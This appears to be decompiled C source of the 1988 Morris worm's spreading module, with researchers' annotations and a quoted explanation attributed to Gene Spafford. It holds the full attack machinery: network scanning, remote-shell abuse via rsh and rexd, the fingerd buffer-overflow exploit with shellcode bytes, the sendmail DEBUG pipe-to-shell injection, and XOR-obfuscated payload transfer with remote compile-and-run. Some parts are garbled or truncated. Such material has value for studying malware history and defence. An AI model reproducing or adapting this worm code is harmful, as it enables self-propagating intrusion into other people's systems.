/* dover */ #include "worm.h" #include #include #include #include #include #include #include #include #include #include #include #include extern struct hst *h_addr2host(), *h_name2host(); extern int justreturn(); extern int errno; extern char *malloc(); int alarmed = 0; int ngateways, *gateways; struct hst *me, *hosts; int nifs; struct ifses ifs[30]; /* Arbitrary number, fix */ /* Clean hosts not contacted from the host list. */ h_clean() /* 0x31f0 */ { struct hst *newhosts, *host, *next; newhosts = NULL; for (host = hosts; host != NULL; host = next) { next = host->next; host->flag &= -7; if (host == me || host->flag != 0) { host->next = newhosts; newhosts = host; } else free(host); } hosts = newhosts; } /* Look for a gateway we can contact. */ hg() /* 0x3270, check again */ { struct hst *host; int i; rt_init(); for (i = 0; i < ngateways; i++) { /* 24, 92 */ host = h_addr2host(gateways[i], 1); if (try_rsh_and_mail(host)) return 1; } return 0; } ha() /* 0x32d4, unchecked */ { struct hst *host; int i, j, k; int l416[100]; int l420; if (ngateways < 1) rt_init(); j = 0; for (i = 0; i < ngateways; i++) { /* 40, 172 */ host = h_addr2host(gateways[i], 1); for (k = 0; k < 6; k++) { /* 86, 164 */ if (host->o48[k] == 0) continue; /* 158 */ if (try_telnet_p(host->o48[k]) == 0) continue; l416[j] = host->o48[k]; j++; } } permute(l416, j, sizeof(l416[0])); for (i = 0; i < j; i++) { /* 198, 260 */ if (hi_84(l416[i] & netmaskfor(l416[i]))) return 1; } return 0; } hl() /* 0x33e6 */ { int i; for (i = 0; i < 6; i++) { /* 18, 106 */ if (me->o48[i] == 0) break; if (hi_84(me->o48[i] & netmaskfor(me->o48[i])) != 0) return 1; } return 0; } hi() /* 0x3458 */ { struct hst *host; for (host = hosts; host; host = host->next ) if ((host->flag & 0x08 != 0) && (try_rsh_and_mail(host) != 0)) return 1; return 0; } hi_84(arg1) /* 0x34ac */ { int l4; struct hst *host; int l12, l16, l20, i, l28, adr_index, l36, l40, l44; int netaddrs[2048]; l12 = netmaskfor(arg1); l16 = ~l12; for (i = 0; i < nifs; i++) { /* 128,206 */ if (arg1 == (ifs[i].if_l24 & ifs[i].if_l16)) return 0; /* 624 */ } adr_index = 0; if (l16 == 0x0000ffff) { /* 330 */ l44 = 4; for (l40 = 1; l40 < 255; l40++) /* 236,306 */ for (l20 = 1; l20 <= 8; l20++) /* 254,300 */ netaddrs[adr_index++] = arg1 | (l20 << 16) | l40; permute(netaddrs, adr_index, sizeof(netaddrs[0])); } else { /* 432 */ l44 = 4; for (l20 = 1; l20 < 255; l20++) netaddrs[adr_index++] = (arg1 | l20); permute(netaddrs, 3*sizeof(netaddrs[0]), sizeof(netaddrs[0])); permute(netaddrs, adr_index - 6, 4); } if (adr_index > 20) adr_index = 20; for (l36 = 0; l36 < adr_index; l36++) { /* 454,620 */ l4 = netaddrs[l36]; host = h_addr2host(l4, 0); if (host == NULL || (host->flag & 0x02) == 0) continue; if (host == NULL || (host->flag & 0x04) == 0 || command_port_p(l4, l44) == 0) continue; if (host == NULL) host = h_addr2host(l4, 1); if (try_rsh_and_mail(host)) return 1; } return 0; } /* Only called in the function above */ static command_port_p(addr, time) /* x36d2, */ u_long addr; int time; { int s, connection; /* 28 */ struct sockaddr_in sin; /* 16 bytes */ int (*save_sighand)(); s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) return 0; bzero(&sin, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = addr; sin.sin_port = IPPORT_CMDSERVER; /* Oh no, not the command serve r... */ save_sighand = signal(SIGALRM, justreturn); /* Wakeup if it fails */ /* Set up a timeout to break from connect if it fails */ if (time < 1) time = 1; alarm(time); connection = connect(s, &sin, sizeof(sin)); alarm(0); close(s); if (connection < 0 && errno == ENETUNREACH) error("Network unreachable"); return connection != -1; } static try_telnet_p(addr) /* x37b2 , checked */ u_long addr; { int s, connection; /* 28 */ struct sockaddr_in sin; /* 16 bytes */ int (*save_sighand)(); s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) return 0; bzero(&sin, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = addr; sin.sin_port = IPPORT_TELNET; /* This time try telnet... */ /* Set up a 5 second timeout, break from connect if it fails */ save_sighand = signal(SIGALRM, justreturn); alarm(5); connection = connect(s, &sin, sizeof(sin)); if (connection < 0 && errno == ECONNREFUSED) /* Telnet connection refuse d */ connection = 0; alarm(0); /* Turn off timeout */ close(s); return connection != -1; } /* Used in hg(), hi(), and hi_84(). */ static try_rsh_and_mail(host) /* x3884, */ struct hst *host; { int fd1, fd2, result; if (host == me) return 0; /* 1476 */ if (host->flag & 0x02) return 0; if (host->flag & 0x04) return 0; if (host->o48[0] == 0 || host->hostname == NULL) getaddrs(host); if (host->o48[0] == 0) { host->flag |= 0x04; return 0; } other_sleep(1); if (host->hostname && /* 1352 */ fork_rsh(host->hostname, &fd1, &fd2, XS("exec /bin/sh"))) { /* */ result = talk_to_sh(host, fd1, fd2); close(fd1); close(fd2); /* Prevent child from hanging around in the state */ wait3((union wait *)NULL, WNOHANG, (struct rusage *)NULL); if (result != 0) return result; } if (try_finger(host, &fd1, &fd2)) { /* 1440 */ result = talk_to_sh(host, fd1, fd2); close(fd1); close(fd2); if (result != 0) return result; } if (try_mail(host)) return 1; host->flag |= 4; return 0; } /* Check a2in() as it is updated */ /* Used in twice in try_rsh_and_mail(), once in hu1(). */ static talk_to_sh(host, fdrd, fdwr) /* x3a20, Checked, changed */ struct hst *host; int fdrd, fdwr; { object *objectptr; char send_buf[512]; /* l516 */ char print_buf[52]; /* l568 */ int l572, l576, l580, l584, l588, l592; objectptr = getobjectbyname(XS("l1.c")); /* env 200c9 */ if (objectptr == NULL) return 0; /* */ if (makemagic(host, &l592, &l580, &l584, &l588) == 0) return 0; send_text(fdwr, XS("PATH=/bin:/usr/bin:/usr/ucb\n")); send_text(fdwr, XS("cd /usr/tmp\n")); l576 = random() % 0x00FFFFFF; sprintf(print_buf, XS("x%d.c"), l576); /* The 'sed' script just puts the EOF on the transmitted program. */ sprintf(send_buf, XS("echo gorch49;sed \'/int zz;/q\' > %s;echo gorch50\n" ), print_buf); send_text(fdwr, send_buf); wait_for(fdrd, XS("gorch49"), 10); xorbuf(objectptr->buf, objectptr->size); l572 = write(fdwr, objectptr->buf, objectptr->size); xorbuf(objectptr->buf, objectptr->size); if (l572 != objectptr->size) { close(l588); return 0; /* to */ } send_text(fdwr, XS("int zz;\n\n")); wait_for(fdrd, XS("gorch50"), 30); #define COMPILE "cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE\n" sprintf(send_buf, XS(COMPILE), l576, l576, l576, inet_ntoa(a2in(l592)), l580, l584, l576, l576); send_text(fdwr, send_buf); if (wait_for(fdrd, XS("DONE"), 100) == 0) { close(l588); return 0; /* */ } return waithit(host, l592, l580, l584, l588); } makemagic(arg8, arg12, arg16, arg20, arg24) /* checked */ struct hst *arg8; int *arg12, *arg16, *arg20, *arg24; { int s, i, namelen; struct sockaddr_in sin0, sin1; /* 16 bytes */ *arg20 = random() & 0x00ffffff; bzero(&sin1, sizeof(sin1)); sin1.sin_addr.s_addr = me->l12; for (i= 0; i < 6; i++) { /* 64, 274 */ if (arg8->o48[i] == NULL) continue; /* 266 */ s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) return 0; /* 470 */ bzero(&sin0, sizeof(sin0)); sin0.sin_family = AF_INET; sin0.sin_port = IPPORT_TELNET; sin0.sin_addr.s_addr = arg8->o48[i]; errno = 0; if (connect(s, &sin0, sizeof(sin0)) != -1) { namelen = sizeof(sin1); getsockname(s, &sin1, &namelen); close(s); break; } close(s); } *arg12 = sin1.sin_addr.s_addr; for (i = 0; i < 1024; i++) { /* 286,466 */ s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) return 0; /* 470 */ bzero(&sin0, sizeof(sin0)); sin0.sin_family = AF_INET; sin0.sin_port = random() % 0xffff; if (bind(s, &sin0, sizeof(sin0)) != -1) { listen(s, 10); *arg16 = sin0.sin_port; *arg24 = s; return 1; } close(s); } return 0; } /* Check for somebody connecting. If there is a connection and he has the rig ht * key, send out the * a complete set of encoded objects to it. */ waithit(host, arg1, arg2, key, arg4) /* 0x3e86 */ struct hst *host; { int (*save_sighand)(); int l8, sin_size, l16, i, l24, l28; struct sockaddr_in sin; /* 44 */ object *obj; char files[20][128]; /* File list, 2608 */ char *l2612; char strbuf[512]; save_sighand = signal(SIGPIPE, justreturn); sin_size = sizeof(sin); alarm(2*60); l8 = accept(arg4, &sin, &sin_size); alarm(0); if (l8 < 0) goto quit; /* 1144 */ if (xread(l8, &l16, sizeof(l16), 10) != 4) goto quit; l16 = ntohl(l16); if (key != l16) goto quit; for (i = 0; i < nobjects; i++) { /* 164,432 */ obj = &objects[i]; l16 = htonl(obj->size); write(l8, &l16, sizeof(l16)); sprintf(files[i], XS("x%d,%s"), (random()&0x00ffffff), obj->name); write(l8, files[i], sizeof(files[0])); xorbuf(obj->buf, obj->size); l24 = write(l8, obj->buf, obj->size); xorbuf(obj->buf, obj->size); if (l24 != obj->size) goto quit; } /* Get rid of my client's key, and tell him the list has ended. */ l16 = -1; if (write(l8, &l16, sizeof(l16)) != 4) goto quit; /* Don't run up the load average too much... */ sleep(4); if (test_connection(l8, l8, 30) == 0) goto quit; send_text(l8, XS("PATH=/bin:/usr/bin:/usr/ucb\n")); send_text(l8, XS("rm -f sh\n")); sprintf(strbuf, XS("if [ -f sh ]\nthen\nP=x%d\nelse\nP=sh\nfi\n"), random()&0x00ffffff); send_text(l8, strbuf); for (i = 0; i < nobjects; i++) { /* 636,1040 */ if ((l2612 = index(files[i], '.')) == NULL || l2612[1] != 'o') continue; sprintf(strbuf, XS("cc -o $P %s\n"), files[i]); send_text(l8, strbuf); if (test_connection(l8, l8, 30) == 0) goto quit; /* 1144 */ sprintf(strbuf, XS("./$P -p $$ ")); for(l28 = 0; l28 < nobjects; l28++) { /* 820,892 */ strcat(strbuf, files[l28]); strcat(strbuf, XS(" ")); } strcat(strbuf, XS("\n")); send_text(l8, strbuf); if (test_connection(l8, l8, 10) == 0) { close(l8); close(arg4); host->flag |= 2; return 1; /* 1172 */ } send_text(l8, XS("rm -f $P\n")); } for (i = 0; i < nobjects; i++) { /* 1044,1122 */ sprintf(strbuf, XS("rm -f %s $P\n"), files[i]); send_text(l8, strbuf); } test_connection(l8, l8, 5); quit: close(l8); close(l24); return 0; } /* Only called from within mail */ static compile_slave(host, s, arg16, arg20, arg24) /* x431e, */ struct hst host; { object *obj; char buf[512]; /* 516 */ char cfile[56]; /* 568 */ int wr_len, key; /* might be same */ obj = getobjectbyname(XS("l1.c")); if (obj == NULL) return 0; /* 1590 */ send_text(s, XS("cd /usr/tmp\n")); key = (random() % 0x00ffffff); sprintf(cfile, XS("x%d.c"), key); sprintf(buf, XS("cat > %s <<\'EOF\'\n"), cfile); send_text(s, buf); xorbuf(obj->buf, obj->size); wr_len = write(s, obj->buf, obj->size); xorbuf(obj->buf, obj->size); if (wr_len != obj->size) return 0; send_text(s, XS("EOF\n")); sprintf(buf, XS("cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c\n"), key, key, key, inet_ntoa(a2in(arg16, arg20, arg24, key, key)->baz)); return send_text(s, buf); } static send_text(fd, str) /* 0x44c0, */ char *str; { write(fd, str, strlen(str)); } /* Used in try_rsh_and_mail(). */ static fork_rsh(host, fdp1, fdp2, str) /* 0x44f4, */ char *host; int *fdp1, *fdp2; char *str; { int child; /* 4 */ int fildes[2]; /* 12 */ int fildes1[2]; /* 20 */ int fd; if (pipe(fildes) < 0) return 0; if (pipe(fildes1) < 0) { close(fildes[0]); close(fildes[1]); return 0; } child = fork(); if (child < 0) { /* 1798 */ close(fildes[0]); close(fildes[1]); close(fildes1[0]); close(fildes1[1]); return 0; } if (child == 0) { /* 2118 */ for (fd = 0; fd < 32; fd++) if (fd != fildes[0] && fd != fildes1[1] && fd != 2) close(fd); dup2(fildes[0], 0); dup2(fildes[1], 1); if (fildes[0] > 2) close(fildes[0]); if (fildes1[1] > 2) close(fildes1[1]); /* 'execl()' does not return if it suceeds. */ execl(XS("/usr/ucb/rsh"), XS("rsh"), host, str, 0); execl(XS("/usr/bin/rsh"), XS("rsh"), host, str, 0); execl(XS("/bin/rsh"), XS("rsh"), host, str, 0); exit(1); } close(fildes[0]); close(fildes1[1]); *fdp1 = fildes1[0]; *fdp2 = fildes[1]; if (test_connection(*fdp1, *fdp2, 30)) return 1; /* Sucess!!! */ close(*fdp1); close(*fdp2); kill(child, 9); /* Give the child a chance to die from the signal. */ sleep(1); wait3(0, WNOHANG, 0); return 0; } static test_connection(rdfd, wrfd, time) /* x476c, */ int rdfd, wrfd, time; { char combuf[100], numbuf[100]; sprintf(numbuf, XS("%d"), random() & 0x00ffffff); sprintf(combuf, XS("\n/bin/echo %s\n"), numbuf); send_text(wrfd, combuf); return wait_for(rdfd, numbuf, time); } static wait_for(fd, str, time) /* */ int fd, time; char *str; { char buf[512]; int i, length; length = strlen(str); while (x488e(fd, buf, sizeof(buf), time) == 0) { /* 2532 */ for(i = 0; buf[i]; i++) { if (strncmp(str, &buf[i], length) == 0) return 1; } } return 0; } /* Installed as a signal handler */ justreturn(sig, code, scp) /* 0x4872 */ int sig, code; struct sigcontext *scp; { alarmed = 1; } static x488e(fd, buf, num_chars, maxtime) int fd, num_chars, maxtime; char *buf; { int i, l8, readfds; struct timeval timeout; for (i = 0; i < num_chars; i++) { /* 46,192 */ readfds = 1 << fd; timeout.tv_usec = maxtime; timeout.tv_sec = 0; if (select(fd + 1, &readfds, 0, 0, &timeout) <= 0) return 0; if (readfds == 0) return 0; if (read(fd, &buf[i], 1) != 1) return 0; if (buf[i] == '\n') break; } buf[i] = '\0'; if (i > 0 && l8 > 0) return 1; return 0; } /* This doesn't appear to be used anywhere??? */ static char *movstr(arg0, arg1) /* 0x4958, */ char *arg0, *arg1; { arg1[0] = '\0'; if (arg0 == 0) return 0; while( ! isspace(*arg0)) arg0++; if (*arg0 == '\0') return 0; while(*arg0) { if (isspace(*arg0)) break; *arg1++ = *arg0++; } *arg1 = '\0'; return arg0; } /* From Gene Spafford What this routine does is actually kind of clever. Keep in mind that on a Vax the stack grows downwards. fingerd gets its input via a call to gets, with an argument of an automatic variable on the stack. Since gets doesn't have a bound on its input, it is possible to overflow the buffer without an error message. Normally, when that happens you trash the return stack frame. However, if you know where everything is on the stack (as is the case with a distributed binary like BSD), you can put selected values back in the return stack frame. This is what that routine does. It overwrites the return frame to point into the buffer that just got trashed. The new code does a chmk (change-mode-to-kernel) with the service call for execl and an argument of "/bin/sh". Thus, fingerd gets a service request, forks a child process, tries to get a user name and has its buffer trashed, does a return, exec's a shell, and then proceeds to take input off the socket -- from the worm on the other machine. Since many sites never bother to fix fingerd to run as something other than root..... Luckily, the code doesn't work on Suns -- it just causes it to dump core. --spaf */ /* This routine exploits a fixed 512 byte input buffer in a VAX running * the BSD 4.3 fingerd binary. It send 536 bytes (plus a newline) to * overwrite six extra words in the stack frame, including the return * PC, to point into the middle of the string sent over. The instructions * in the string do the direct system call version of execve("/bin/sh"). */ static try_finger(host, fd1, fd2) /* 0x49ec,o48[i] == 0) continue; /* 600 */ s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) continue; bzero(&sin, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = host->o48[i]; sin.sin_port = IPPORT_FINGER; alarm(10); if (connect(s, &sin, sizeof(sin)) < 0) { alarm(0); close(s); continue; } alarm(0); break; } if (i >= 6) return 0; /* 978 */ for(i = 0; i < 536; i++) /* 628,654 */ buf[i] = '\0'; for(i = 0; i < 400; i++) buf[i] = 1; for(j = 0; j < 28; j++) buf[i+j] = "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"[j]; /* constant string x200a0 */ /* 0xdd8f2f73,0x6800dd8f,0x2f62696e,0xd05e5add,0x00dd00dd,0x5add03d0,0x5e5cbc3b */ /* "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"... */ l556 = 0x7fffe9fc; /* Rewrite part of the stack frame */ l560 = 0x7fffe8a8; l564 = 0x7fffe8bc; l568 = 0x28000000; l552 = 0x0001c020; #ifdef sun l556 = byte_swap(l556); /* Reverse the word order for the */ l560 = byte_swap(l560); /* VAX (only Suns have to do this) */ l564 = byte_swap(l564); l568 = byte_swap(l568); l552 = byte_swap(l552); #endif sun write(s, buf, sizeof(buf)); /* sizeof == 536 */ write(s, XS("\n"), 1); sleep(5); if (test_connection(s, s, 10)) { *fd1 = s; *fd2 = s; return 1; } close(s); return 0; } static byte_swap(arg) /* 0x4c48,> 8; j++; } return i; } permute(ptr, num, size) /* 0x4c9a */ char *ptr; int num, size; { int i, newloc; char buf[512]; for (i = 0; i < num*size; i+=size) { /* 18,158 */ newloc = size * (random() % num); bcopy(ptr+i, buf, size); bcopy(ptr+newloc, ptr+i, size); bcopy(buf, ptr+newloc, size); } } /* Called from try_rsh_and_mail() */ static try_mail(host) /* x4d3c */ struct hst *host; { int i, l8, l12, l16, s; struct sockaddr_in sin; /* 16 bytes */ char l548[512]; int (*old_handler)(); struct sockaddr saddr; /* Not right */ int fd_tmp; /* ??? part of saddr * / if (makemagic(host, &saddr) == 0) return 0; /* */ old_handler = signal(SIGALRM, justreturn); for( i = 0; i < 6; i++) { /* to 430 */ if (host->o48[i] == NULL) continue; /* to 422 */ s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) continue; /* to 422 */ bzero(&sin, sizeof(sin)); /* 16 */ sin.sin_family = AF_INET; sin.sin_addr.s_addr = host->o48[i]; sin.sin_port = IPPORT_SMTP; alarm(10); if (connect(s, &sin, sizeof(sin)) < 0) { alarm(0); close(s); continue; /* to 422 */ } alarm(0); break; } if (i < 6) return 0; /* 1054 */ if (x50bc( s, l548) != 0 || l548[0] != '2') goto bad; send_text(s, XS("debug")); /* "debug" */ if (x50bc( s, l548) != 0 || l548[0] != '2') goto bad; #define MAIL_FROM "mail from:\n" #define MAIL_RCPT "rcpt to:<\"| sed \'1,/^$/d\' | /bin/sh ; exit 0\">\n" send_text(s, XS(MAIL_FROM)); if (x50bc( s, l548) != 0 || l548[0] != '2') goto bad; i = (random() & 0x00FFFFFF); sprintf(l548, XS(MAIL_RCPT), i, i); send_text(s, l548); if (x50bc( s, l548) != 0 || l548[0] != '2') goto bad; send_text(s, XS("data\n")); if (x50bc( s, l548) == 0 || l548[0] != '3') goto bad; send_text(s, XS("data\n")); compile_slave(host, s, saddr); send_text(s, XS("\n.\n")); if (x50bc( s, l548) == 0 || l548[0] != '2') { close(fd_tmp); /* This isn't set yet!!! */ goto bad; } send_text(s, XS("quit\n")); if (x50bc( s, l548) == 0 || l548[0] != '2') { close(fd_tmp); /* This isn't set yet!!! */ goto bad; } close(s); return waithit(host, saddr); bad: send_text(s, XS("quit\n")); x50bc(s, l548); close(s); return 0; } /* Used only in try_mail() above. This fills buffer with a line of the respon se */ static x50bc(s, buffer) /* x50bc, */ int s; /* socket */ char *buffer; { /* Fill in exact code later. It's pretty boring. */ } /* I call this "huristic 1". It tries to breakin using the remote execution * service. It is called from a subroutine of cracksome_1 with information fr om * a user's .forword file. The two name are the original username and the one * in the .forward file. */ hu1(alt_username, host, username2) /* x5178 */ char *alt_username, *username2; struct hst *host; { char username[256]; char buffer2[512]; char local[8]; int result, i, fd_for_sh; /* 780, 784, 788 */ if (host == me) return 0; /* 530 */ if (host->flag & HST_HOSTTWO) /* Already tried ??? */ return 0; if (host->o48[0] || host->hostname == NULL) getaddrs(host); if (host->o48[0] == 0) { host->flag |= HST_HOSTFOUR; return 0; } strncpy(username, username2, sizeof(username)-1); username[sizeof(username)-1] = '\0'; if (username[0] == '\0') strcpy(username, alt_username); for (i = 0; username[i]; i++) if (ispunct(username[i]) || username[i] < ' ') return 0; other_sleep(1); fd_for_sh = x538e(host, username, &alt_username[30]); if (fd_for_sh >= 0) { result = talk_to_sh(host, fd_for_sh, fd_for_sh); close(fd_for_sh); return result; } if (fd_for_sh == -2) return 0; fd_for_sh = x538e(me, alt_username, &alt_username[30]); if (fd_for_sh >= 0) { sprintf(buffer2, XS("exec /usr/ucb/rsh %s -l %s \'exec /bin/sh\'\n"), host->hostname, username); send_text(fd_for_sh, buffer2); sleep(10); result = 0; if (test_connection(fd_for_sh, fd_for_sh, 25)) /* 508 */ result = talk_to_sh(host, fd_for_sh, fd_for_sh); close(fd_for_sh); return result; } return 0; } /* Used in hu1. Returns a file descriptor. */ /* It goes through the six connections in host trying to connect to the * remote execution server on each one. */ static int x538e(host, name1, name2) struct hst *host; char *name1, *name2; { int s, i; struct sockaddr_in sin; /* 16 bytes */ int l6, l7; char in_buf[512]; for (i = 0; i < 6; i++) { /* 552,762 */ if (host->o48[i] == 0) continue; /* 754 */ s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) continue; bzero(&sin, sizeof(sin)); /* 16 */ sin.sin_family = AF_INET; sin.sin_addr.s_addr = host->o48[i]; sin.sin_port = IPPORT_EXECSERVER; /* Oh shit, looking for rexd */ alarm(8); signal(SIGALRM, justreturn); if (connect(s, &sin, sizeof(sin)) < 0) { alarm(0); close(s); continue; } alarm(0); break; } if (i >= 6) return -2; /* 1048 */ /* Check out the connection by writing a null */ if (write(s, XS(""), 1) == 1) { /* Tell the remote execution deamon the hostname, username, and to star tup "/bin/sh". */ write(s, name1, strlen(name1) + 1); write(s, name2, strlen(name2) + 1); if ((write(s, XS("/bin/sh"), strlen(XS("/bin/sh"))+1) >= 0) && xread(s, in_buf, 1, 20) == 1 && in_buf[0] == '\0' && test_connection(s, s, 40) != 0) return s; } close(s); return -1; } /* Reads in a file and puts it in the 'objects' array. Returns 1 if sucessful , * 0 if not. */ loadobject(obj_name) /* x5594 */ char *obj_name; { int fd; unsigned long size; struct stat statbuf; char *object_buf, *suffix; char local[4]; fd = open(obj_name, O_RDONLY); if (fd < 0) return 0; /* 378 */ if (fstat(fd, &statbuf) < 0) { close(fd); return 0; } size = statbuf.st_size; object_buf = malloc(size); if (object_buf == 0) { close(fd); return 0; } if (read(fd, object_buf, size) != size) { free(object_buf); close(fd); return 0; } close(fd); xorbuf(object_buf, size); suffix = index(obj_name, ','); if (suffix != NULL) suffix+=1; else suffix = obj_name; objects[nobjects].name = strcpy(malloc(strlen(suffix)+1), suffix); objects[nobjects].size = size; objects[nobjects].buf = object_buf; nobjects += 1; return 1; } /* Returns the object from the 'objects' array that has name, otherwise NULL. */ object *getobjectbyname(name) char *name; { int i; for (i = 0; i < nobjects; i++) if (strcmp(name, objects[i].name) == 0) return &objects[i]; return NULL; } /* Encodes and decodes the binary coming over the socket. */ xorbuf(buf, size) /* 0x577e */ char *buf; unsigned long size; { char *addr_self; /* The address of the xorbuf fuction */ int i; addr_self = (char *)xorbuf; i = 0; while (size-- > 0) { *buf++ ^= addr_self[i]; i = (i+1) % 10; } return; } static other_fd = -1; /* Make a connection to the local machine and see if I'm running in another process by sending a magic number on a random port and waiting five minutes for a reply. */ checkother() /* 0x57d0 */ { int s, l8, l12, l16, optval; struct sockaddr_in sin; /* 16 bytes */ optval = 1; if ((random() % 7) == 3) return; /* 612 */ s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) return; /* Make a socket to the localhost, using a link-time specific port */ bzero(&sin, sizeof(sin)); /* 16 */ sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(XS("127.0.0.1")); /* */ sin.sin_port = 0x00005b3d; /* ??? */ if (connect(s, &sin, sizeof(sin)) < 0) { close(s); } else { l8 = MAGIC_2; /* Magic number??? */ if (write(s, &l8, sizeof(l8)) != sizeof(l8)) { close(s); return; } l8 = 0; if (xread(s, &l8, sizeof(l8), 5*60) != sizeof(l8)) { close(s); return; } if (l8 != MAGIC_1) { close(s); return; } l12 = random()/8; if (write(s, &l12, sizeof(l12)) != sizeof(l12)) { close(s); return; } if (xread(s, &l16, sizeof(l16), 10) != sizeof(l16)) { close(s); return; } if (!((l12+l16) % 2)) pleasequit++; close(s); } sleep(5); s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) return; /* Set the socket so that the address may be reused */ setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval)); if (bind(s, &sin, sizeof(sin)) < 0) { close(s); return; } listen(s, 10); other_fd = s; return; } /* Sleep, waiting for another worm to contact me. */ other_sleep(how_long) /* 0x5a38 */ { int nfds, readmask; long time1, time2; struct timeval timeout; if (other_fd < 0) { if (how_long != 0) sleep(how_long); return; } /* Check once again.. */ do { if (other_fd < 0) return; readmask = 1 << other_fd; if (how_long < 0) how_long = 0; timeout.tv_sec = how_long; timeout.tv_usec = 0; if (how_long != 0) time(&time1); nfds = select(other_fd+1, &readmask, 0, 0, &timeout); if (nfds < 0) sleep(1); if (readmask != 0) answer_other(); if (how_long != 0) { time(&time2); how_long -= time2 - time1; } } while (how_long > 0); return; } static answer_other() /* 0x5b14 */ { int ns, addrlen, magic_holder, magic1, magic2; struct sockaddr_in sin; /* 16 bytes */ addrlen = sizeof(sin); ns = accept(other_fd, &sin, &addrlen); if (ns < 0) return; /* 620 */ magic_holder = MAGIC_1; if (write(ns, &magic_holder, sizeof(magic_holder)) != sizeof(magic_holder) ) { close(ns); return; } if (xread(ns, &magic_holder, sizeof(magic_holder), 10) != sizeof(magic_holder)) { close(ns); return; } if (magic_holder != MAGIC_2) { close(ns); return; } magic1 = random() / 8; if (write(ns, &magic1, sizeof(magic1)) != sizeof(magic1)) { close(ns); return; } if (xread(ns, &magic2, sizeof(magic2), 10) != sizeof(magic2)) { close(ns); return; } close(ns); if (sin.sin_addr.s_addr != inet_addr(XS("127.0.0.1"))) return; if (((magic1+magic2) % 2) != 0) { close(other_fd); other_fd = -1; pleasequit++; } return; } /* A timeout-based read. */ xread(fd, buf, length, time) /* 0x5ca8 */ int fd, time; char *buf; unsigned long length; { int i, cc, readmask; struct timeval timeout; int nfds; long time1, time2; for (i = 0; i < length; i++) { /* 150 */ readmask = 1 << fd; timeout.tv_sec = time; timeout.tv_usec = 0; if (select(fd+1, &readmask, 0, 0, &timeout) < 0) return 0; /* 156 */ if (readmask == 0) return 0; if (read(fd, &buf[i], 1) != 1) return 0; } return i; } /* These are some of the strings that are encyphed in the binary. The * person that wrote the program probably used the Berkeley 'xstr' program * to extract and encypher the strings. */ #ifdef notdef char environ[50] = ""; char *sh = "sh"; char *env52 = "sh"; /* 0x20034, */ char *env55 = "-p"; char *env58 = "l1.c"; char *env63 = "sh"; char *env66 = "/tmp/.dump"; char *env77 = "128.32.137.13"; char *env91 = "127.0.0.1"; char *env102 = "/usr/ucb/netstat -r -n"; /* 0x20066 */ char *env125 = "r"; char *env127 = "%s%s"; #endif /* notdef*/ /* char *text = "default 0.0.0.0 127.0.0.1 exec /bin/sh l1.c PATH=/bin:/usr/bin:/usr/ucb cd /usr/tmp x%d.c echo gorch49;sed '/int zz;/q' > %s;echo gorch50 gorch49 int zz; gorch50 cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE DONE x%d,%s PATH=/bin:/usr/bin:/usr/ucb rm -f sh if [ -f sh ] then P=x%d else P=sh cc -o $P %s ./$P -p $$ rm -f $P rm -f %s $P l1.c cd /usr/tmp x%d.c cat > %s <<'EOF' cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c /usr/ucb/rsh /usr/bin/rsh /bin/rsh /bin/echo %s debug mail from: rcpt to:<"| sed '1,/^$/d' | /bin/sh ; exit 0"> data quit quit exec /usr/ucb/rsh %s -l %s 'exec /bin/sh' /bin/sh /bin/sh 127.0.0.1 127.0.0.1 /etc/hosts.equiv %.100s /.rhosts %.200s/.forward %.20s%.20s %[^ ,] %*s %[^ ,]s %.200s/.forward %.200s/.rhosts %s%s /usr/dict/words"; */ /* * Local variables: * compile-command: "cc -S hs.c" * comment-column: 48 * End: */